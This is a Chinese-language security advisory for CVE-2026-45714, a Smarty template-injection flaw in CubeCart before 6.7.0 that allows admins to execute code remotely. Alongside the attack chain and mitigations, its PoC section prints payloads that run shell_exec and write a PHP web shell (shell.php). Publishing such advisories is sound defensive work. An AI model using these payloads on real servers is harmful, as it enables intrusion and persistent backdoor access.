IPBUF安全漏洞报告
English
CVE-2026-45714 CVSS 9.1 严重

CVE-2026-45714 CubeCart SSTI致远程代码执行漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45714
漏洞类型
SSTI (服务端模板注入)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CubeCart

相关标签

SSTIRCECubeCartSmartyCVE-2026-45714电商系统

漏洞概述

CubeCart 6.7.0 之前版本存在服务端模板注入(SSTI)漏洞。由于在处理邮件模板、发票等模块时未启用 Smarty 安全策略,经过身份验证的管理员可注入恶意模板代码,导致服务器被远程执行任意代码,进而完全控制服务器。

技术细节

该漏洞源于 CubeCart 在使用 Smarty 模板引擎处理用户数据时缺乏必要的安全限制。攻击者首先需要获取具有管理员权限的账户登录系统。随后,在“电子邮件模板”、“发票”或“文档”等功能模块中,攻击者可以输入特制的 Smarty 模板语法作为内容。由于服务器端未配置 Smarty 的安全策略(如禁用 `{php}` 标签或限制静态类调用),应用程序会将这部分输入作为动态模板代码进行解析和执行。利用这一机制,攻击者可以通过注入 payloads 在服务器上下文中执行任意系统命令,造成严重的数据泄露或服务器沦陷。

攻击链分析

STEP 1
1. 获取凭证
攻击者通过钓鱼或其他方式获取 CubeCart 管理员账户的用户名和密码。
STEP 2
2. 访问注入点
登录后台,导航至易受攻击的模块,如“电子邮件模板”或“文档生成”设置页面。
STEP 3
3. 注入 Payload
在模板输入字段中输入恶意的 Smarty 模板代码(如 {php}system('id');{/php})。
STEP 4
4. 触发渲染
保存设置或预览模板,触发服务器端对模板内容的解析与执行。
STEP 5
5. 执行命令
服务器执行注入的恶意代码,返回命令执行结果或建立后门连接。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
{* Smarty SSTI PoC for CubeCart *} {* This payload attempts to execute OS commands using the PHP tag if enabled *} {php} // Execute a simple system command (e.g., whoami) $output = shell_exec('whoami'); echo "<pre>Command Output: " . $output . "</pre>"; {/php} {* Alternative payload using static class calls if PHP tags are disabled but security is off *} {Smarty_Internal_Write_File::writeFile($script="shell.php", $content="<?php system($_GET['cmd']); ?>", $smarty)}

影响范围

CubeCart < 6.7.0

防御指南

临时缓解措施
如果无法立即升级,应严格限制具备管理员权限的账户数量,并监控模板文件的异常修改。建议在 Web 应用防火墙(WAF)中部署规则,拦截包含 Smarty 特定语法的请求(如 `{php}`、`{literal}` 等标签)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表